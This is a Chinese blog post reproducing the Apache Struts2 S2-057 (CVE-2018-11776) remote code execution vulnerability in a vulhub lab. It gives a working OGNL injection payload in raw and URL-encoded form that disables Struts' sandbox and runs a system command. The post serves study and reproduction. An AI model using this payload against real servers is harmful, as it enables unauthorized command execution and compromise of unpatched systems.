我是靠谱客的博主 高大香菇,最近开发中收集的这篇文章主要介绍Apache struts2 namespace远程命令执行CVE-2018-11776(S2-057)漏洞复现,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

一:漏洞介绍

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。

二:影响版本

Apache Struts 2.3 – Struts 2.3.34
Apache Struts 2.5 – Struts 2.5.16

三:环境搭建

1、利用vulhub搭建环境,进入struts中s2-057漏洞的目录下

cd /vulhub/struts2/s2-057

2、一键搭建环境

docker-compose up -d

3、访问测试页:http://your-ip:8080/struts2-showcase
在这里插入图片描述
环境搭建成功。

四:攻击。

1、访问:http://your-ip:8080/struts2-showcase/$%7B10*10%7D/actionChain1.action抓包,go
在这里插入图片描述
payload中的10*10成功计算出结果并返回。
2、将10*10替换成其它POC。抓包,go。(要将POC转换成url编码)

转换成url编码前:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

转换成url编码后:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d

在这里插入图片描述

最后

以上就是高大香菇为你收集整理的Apache struts2 namespace远程命令执行CVE-2018-11776(S2-057)漏洞复现的全部内容,希望文章能够帮你解决Apache struts2 namespace远程命令执行CVE-2018-11776(S2-057)漏洞复现所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(59)

评论列表共有 0 条评论

立即
投稿
返回
顶部